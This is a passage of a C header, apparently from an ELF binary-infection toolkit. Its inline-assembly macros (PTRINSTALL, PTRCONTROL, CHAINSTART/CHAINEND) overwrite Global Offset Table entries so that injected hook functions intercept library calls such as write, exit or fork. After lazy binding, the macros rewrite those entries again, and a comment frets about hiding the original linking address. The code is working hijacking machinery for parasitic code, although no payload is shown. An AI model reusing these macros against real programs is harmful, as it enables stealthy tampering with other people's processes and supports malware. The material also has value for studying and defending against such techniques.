120 " call l0_%=\n" \
121 "l0_%=: movl $"##functionname", %%eax\n" \
122 " subl $l0_%=, %%eax\n" \
123 " popl %%edx\n" \
124 " addl %%edx, %%eax\n" \
125 : "=a" (fptr) : : "edx"); \
126 \
127 (dst) = (void *) fptr; \
128}
129
130
131/* PTRINSTALL, macro to work together with PTRCONTROL. see wrcore.c for
132 * usage example
133 *
134 * hook = function pointer to hook function (your function)
135 * chain = function pointer to original function (old function)
136 * any = (void *) for your needs, accessible through chainstruct->any
137 * gotarray = (Elf32_Word *arr[]), pointer to array of GOT locations
138 * gotcount = elements used in array, must be at least one
139 */
140
141#define PTRINSTALL_ARRAY(hook,chain,any,gotarray,gotcount) \
142{ \
143 __asm__ __volatile__ ( \
144 " call l0_%=\n" \
145 "lr_%=: jmp lo_%=\n" \
146 "l0_%=: pushl %%ecx\n" \
147 " pushl $"##gotcount"\n" \
148 " pushl %%ebx\n" \
149 " pushl %%edx\n" \
150 " pushl $0x64466226\n" \
151 " jmpl *%%eax\n" \
152 "lo_%=:\n" \
153 : : "a" (hook), "c" (gotarray), "d" (chain), "b" (any)); \
154}
155
156/* convenience macro for one got entry only (most commonly required)
157 */
158#define PTRINSTALL(hook,chain,gotloc,any) \
159 PTRINSTALL_ARRAY(hook,chain,any,&gotloc,"1");
160
161
162/* PTRCONTROL, macro to be placed at the beginning of a hook function. works
163 * together with PTRINSTALL.
164 *
165 * FIXME: the $lp_%= and $l1_%= instructions put the absolute address, which
166 * is not what we want. it works still, because we don't access them,
167 * and only do relative computations. but we waste memory and expose
168 * the original linking address because of this. fix it. also the
169 * FUNCPTR macro is having the same weakness
170 */
171
172#define PTRCONTROL(chainstr,arraylen) \
173{ \
174 __asm__ __volatile__ ( \
175 " jmp l0_%=\n" \
176 "lp_%=: .fill 3, 4, 0x0\n" \
177 " .fill "##arraylen", 4, 0x0\n" \
178 "\n" \
179 "l0_%=: call l1_%=\n" \
180 "l1_%=: popl %%edx\n" \
181 " addl $lp_%=, %%edx\n" \
182 " subl $l1_%=, %%edx\n" \
183 "\n" \
184 " pushl %%eax\n" \
185 " movl 0x4(%%ebp), %%eax\n" \
186 " cmpl $0x64466226, %%eax\n" /* magic */ \
187 " jne lo_%=\n" \
188 "\n" \
189 " movl 0x8(%%ebp), %%eax\n" \
190 " movl %%eax, (%%edx)\n" /* chain */ \
191 " movl 0xc(%%ebp), %%eax\n" \
192 " movl %%eax, 4(%%edx)\n" /* any */ \
193 " movl 0x10(%%ebp), %%ecx\n" /* load counter */ \
194 " movl %%ecx, 8(%%edx)\n" \
195 " pushl %%esi\n" \
196 " movl 0x14(%%ebp), %%esi\n" /* source array */ \
197 " leal 12(%%edx), %%edx\n" \
198 "l2_%=: lodsl\n" \
199 " movl %%eax, (%%edx)\n" \
200 " addl $0x4, %%edx\n" \
201 " decl %%ecx\n" \
202 " jnz l2_%=\n" \
203 " popl %%esi\n" \
204 "\n" \
205 " popl %%eax\n" \
206 " movl %%ebp, %%esp\n" \
207 " popl %%ebp\n" \
208 " addl $0x14, %%esp\n" \
209 " ret\n" \
210 "\n" \
211 "lo_%=: popl %%eax\n" \
212 : "=d" (chainstr) : : "eax"); \
213}
214
215/* convenience macros, use if you want and don't care about the messy details
216 * use CHAINSTART directly after local variables of the hook-function,
217 * CHAINCALL directly before calling the original function, and CHAINEND after
218 * the chain function has been called:
219 *
220 * int
221 * my_write (int fd, char *buf, int len)
222 * {
223 * int rval;
224 * int (* old_write)(int, char *, int);
225 *
226 * CHAINSTART (old_write);
227 * CHAINCALL;
228 * rval = old_write (fd, buf, len);
229 * CHAINEND;
230 *
231 * return (rval);
232 * }
233 *
234 * would be the most basic chain-through function for the 'write' function.
235 *
236 * XXX: it is utmost important to put the CHAINSTART macro directly after the
237 * local variables, before any code.
238 *
239 * CHAINCALL is used to prepare the %ebx register to point to the shared GOT
240 * table. technically, it is only needed when redirecting shared library GOT
241 * table entries, but it does not hurt to include it in any case.
242 *
243 * CHAINEND checks whether the GOT entry was overwritten by the runtime
244 * linker, as it happens when lazy binding is used and the function is called
245 * the first time. we update our address (cstr->chain) and overwrite the GOT
246 * entry again with our function. this has to be done, since we usually
247 * receive control, before any library function has been called. you can leave
248 * the CHAINEND macro out, if you want to receive control only once, on the
249 * first call (say, when the host is calling exit or fork). though it is not
250 * guaranted that it will be only called once.
251 */
252#define CHAINSTART(chainfn) \
253 CHAINSTART_M(chainfn,1,"1");
254
255#define CHAINEND \
256 CHAINEND_M;
257
258#define CHAINSTART_M(chainfn,arraylen,arraylenstr) \
259 CHAINSTRUCT(arraylen) \
260 unsigned int * cthis[arraylen]; \
261 unsigned int creg_ebx; \
262 unsigned int cgot_wk; \
263 \
264 __asm__ __volatile__ ("" : "=b" (creg_ebx)); \
265 PTRCONTROL (cstr,arraylenstr); \
266 chainfn = (void *) cstr->chain; \
267 for (cgot_wk = 0 ; cgot_wk < cstr->gotcount && \
268 cstr->gotloc[cgot_wk] != NULL ; ++cgot_wk) \
269 { \
270 cthis[cgot_wk] = (unsigned int *) *cstr->gotloc[cgot_wk]; \
271 }
272
273#define CHAINCALL \
274 __asm__ __volatile__ ("" : : "b" (creg_ebx));
275
276#define CHAINEND_M \
277 for (cgot_wk = 0 ; cgot_wk < cstr->gotcount && \
278 cstr->gotloc[cgot_wk] != NULL ; ++cgot_wk) \
279 { \
280 if (cthis[cgot_wk] != (unsigned int *) *cstr->gotloc[cgot_wk]) { \
281 cstr->chain = (void *) *cstr->gotloc[cgot_wk]; \
282 *cstr->gotloc[cgot_wk] = (unsigned int) cthis[cgot_wk]; \
283 } \
284 }
285
286
287/* old macros, still work, but its better to just have to maintain one version
288 */
289#if 0
290#define CHAINSTART(chainfn) \
291 CHAINSTRUCT(1) \
292 unsigned int * cthis; \
293 unsigned int creg_ebx; \
294 \
295 __asm__ __volatile__ ("" : "=b" (creg_ebx)); \
296 PTRCONTROL (cstr); \
297 chainfn = cstr->chain; \
298 cthis = (unsigned int *) *cstr->gotloc[0];
299
300#define CHAINEND \
301 if (((unsigned int) cthis) != *cstr->gotloc[0]) { \
302 cstr->chain = (void *) *cstr->gotloc[0]; \
303 *cstr->gotloc[0] = (unsigned int) cthis; \
304 }
305#endif
306